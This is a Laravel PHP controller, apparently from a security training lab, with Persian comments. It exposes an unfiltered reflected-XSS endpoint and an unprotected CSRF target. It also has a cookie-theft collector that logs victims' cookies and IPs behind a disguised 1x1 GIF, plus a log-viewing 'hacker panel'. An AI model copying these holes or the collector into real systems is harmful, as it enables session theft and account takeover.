52 lines
1.9 KiB
PHP
52 lines
1.9 KiB
PHP
<?php
|
||
|
||
namespace App\Http\Controllers;
|
||
|
||
use Illuminate\Http\Request;
|
||
|
||
class VulnerabilityController extends Controller
|
||
{
|
||
// شبیهسازی XSS (Reflected)
|
||
public function xss(Request $request)
|
||
{
|
||
// دریافت ورودی بدون هیچگونه فیلتر امنیتی
|
||
$payload = $request->query('payload', '');
|
||
|
||
return view('vulnerabilities.xss', compact('payload'));
|
||
}
|
||
|
||
// هدف حمله CSRF
|
||
public function csrfTarget(Request $request)
|
||
{
|
||
// در دنیای واقعی اینجا عملیات حساس مثل تغییر رمز انجام میشود
|
||
return response()->json([
|
||
'status' => 'success',
|
||
'message' => 'Action performed successfully without CSRF protection!'
|
||
]);
|
||
}
|
||
|
||
// متد دریافت کوکیهای سرقت شده
|
||
public function logStolenData(\Illuminate\Http\Request $request)
|
||
{
|
||
$cookie = $request->query('data', 'No data');
|
||
$ip = $request->ip();
|
||
|
||
// ذخیره در یک فایل متنی داخل پوشه storage/app برای سادگی آزمایشگاه
|
||
$logEntry = "[" . now() . "] IP: {$ip} | Stolen Data: {$cookie}";
|
||
\Illuminate\Support\Facades\Storage::append('stolen_cookies.log', $logEntry);
|
||
|
||
// یک تصویر شفاف ۱x۱ برمیگردانیم تا کلاینت متوجه نشود
|
||
return response(base64_decode('R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw=='))
|
||
->header('Content-Type', 'image/gif');
|
||
}
|
||
|
||
// متد برای مشاهده لاگها (پنل هکر)
|
||
public function viewLogs()
|
||
{
|
||
$logs = \Illuminate\Support\Facades\Storage::exists('stolen_cookies.log')
|
||
? \Illuminate\Support\Facades\Storage::get('stolen_cookies.log')
|
||
: 'هیچ دیتایی سرقت نشده است.';
|
||
|
||
return view('vulnerabilities.logs', compact('logs'));
|
||
}
|
||
} |